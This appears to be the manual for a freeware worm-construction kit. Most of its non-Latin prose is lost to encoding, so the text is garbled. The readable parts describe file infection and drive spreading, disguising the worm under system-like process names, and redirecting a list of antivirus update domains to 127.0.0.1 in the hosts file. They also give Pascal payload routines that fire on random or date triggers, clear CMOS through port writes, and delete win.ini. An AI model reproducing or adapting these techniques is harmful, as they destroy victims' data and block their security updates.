  1.2 FREEWARE () MrWeb.

_____________________
[]

        ,            .

_____________________
[]

  ()     .

 -    .    ,          /   .

    ( )     .        273  .

    ,      EXE-.    .           "WORM.PAS"  "WORM.EX_" .
    PAS-.

    ,   ,   VirLen     EXE-  .

_____________________
[  ]
______
:
"  :"

 :
1. "  : supervir"
2. "  : "

:
  (   [Enter])    "MW".
______
:
" :"

:
      ,     , ..         DFDD.EXE, FGDFD.COM  ..        :),   .

        ,            . ,      info.txt,      info.exe,   info.exe     info.txt ().
       , ..       .  ,    EXE  COM .
      ,     .

,     :
-------
super.exe
super.dat
sup1.dat
super.doc
megasuper.ffd
-------
   super.exe, ..    EXE    ,    .  super.dat   , ..         (super.exe).    sup1.dat     ,      sup1.exe.
         8 . ,  megasuper.ffd,   ,     , ..       megasu~1.exe,    . 
   ,         sup1.dat,        . ,  ,      EXE-.

______
:
"  :"

:
   EXE, COM,   .      .

______
:
"    :"

 :
1. "    : abcdefhg"
2. "    : cd"
3. "    : aca"
4. "    : [Enter]"

:
      ,  ,    C:  D:,    "cd"   [Enter].        ,     ,    [Enter].
   -       [Enter],
  "  ? (Y/N):",       ,     , ..       .
    A:   ,          . ..         ,             .

______
:
"  ? (Y/N):"

:
     ,       - ,         [Enter],        .

______
:
1. "      ? (Y/N):"
1.1. "       :"

 :
1. "       : 5"

:
            . ,     5 ,    .          .     ,        .
          .

______
:
"    ..."

:
   -        Windows       .     WinMe,        Windows.

   "" -      Windows.

     .   ,    WinXP     . ,       ,      ""     .

    ,      ,     Windows      ,      :).         .

  ,    ,   ,        " ",      .    ,     ,     ,     .

            ,     .           windows, , cffmom.exe, userint.exe.     , .. "cffmom"  ..

______
:
1. "    ? (Y/N):"
1.1. "    ():"

 :
1. "    (): 1000"
2. "    (): 12305"

:
     ,  ,   .

______
:
      (  ..)? (Y/N):

:
 Windows   "hosts" (   windows     "sam" -   ). , ,    "127.0.0.1       sitexx.ru",       sitexx.ru  . 

     ,        ,      .
    -      "hosts",         .

    ,  ,   .

 :
------------------------------
downloads-eu1.kaspersky-labs.com
downloads2.kaspersky-labs.com
downloads4.kaspersky-labs.com
downloads1.kaspersky-labs.com
downloads-us1.kaspersky-labs.com
symantec.com
securityresponse.symantec.com
sophos.com
mcafee.com
liveupdate.symantecliveupdate.com
viruslist.com
viruslist.ru
f-secure.com
kaspersky.com
kaspersky.ru
avp.com
avp.ru
networkassociates.com
ca.com
mast.mcafee.com
my-etrust.com
download.mcafee.com
dispatch.mcafee.com
secure.nai.com
nai.com
update.symantec.com
updates.symantec.com
us.mcafee.com
liveupdate.symantec.com
customer.symantec.com
rads.mcafee.com
trendmicro.com
download.drweb.com
updates.drweb.ru
drweb.com
drweb.ru
z-oleg.com
avz.virusinfo.info
dl1.avgate.net
dl3.avgate.net
dl2.avgate.net
dl6.avgate.net
dl5.avgate.net
free-av.com
-----------------
    __  ,   "2".          ,   "3".
,     ,       ,   .   , .

______
:
1. "    ? (Y/N): "
1.1. "     : "

:
     - ,     
PAS-      .    
   . ,    PROCWORM.

 :
---------------------
procedure procworm;
begin
writeln('Hello!');
end;
--------------------

     DOS. 
    ,       .

    .
1)    , ..        .
---------------------
Procedure procworm;
Var
I:Integer;
Begin
  Randomize;
  I:=Random(10);
  If i=5 then 
		BEGIN 
                 writeln('Hello!'); 
                END;
end;
---------------------
          1  10.

2)    .
---------------------
Procedure procworm;
var
 hp,mp,sp,dsp:word;
Begin
getdate(hp,mp,sp,dsp);
if (dsp=6) and (sp=14) then 
            BEGIN
               writeln('Hello!');
            END;
end;
---------------------
     14- .
: hp - , mp - , sp - , dsp -  .

        -   "Hello!",          "writeln('Hello!');".

  CMOS:

 port[$70] := $2E;
 port[$71] := $00;
 port[$70] := $2F;
 port[$71] := $00;

  CMOS  asm-:

asm
mov ax, 1010h
mov dx, 70h
out dx, ax
end;

 :

assign(f32,'c:\windows\win.ini');
reset(f32);
erase(f32);

     var   "f32:text;", ..       (  ):
---------------------
Procedure procworm;
Var
I:Integer;
f32:text;
Begin
  Randomize;
  I:=Random(10);
  If i=5 then 
		BEGIN 
              assign(f32,'c:\windows\win.ini');
              reset(f32);
              erase(f32);
                END;
end;
---------------------
     .
     Randomize,        ,      .

_____________________
        " ",   CR_W_MUT.TXT.



___________________________________________________________________________
___________________________________________________________________________


demoworm.rar - ,    . : 123








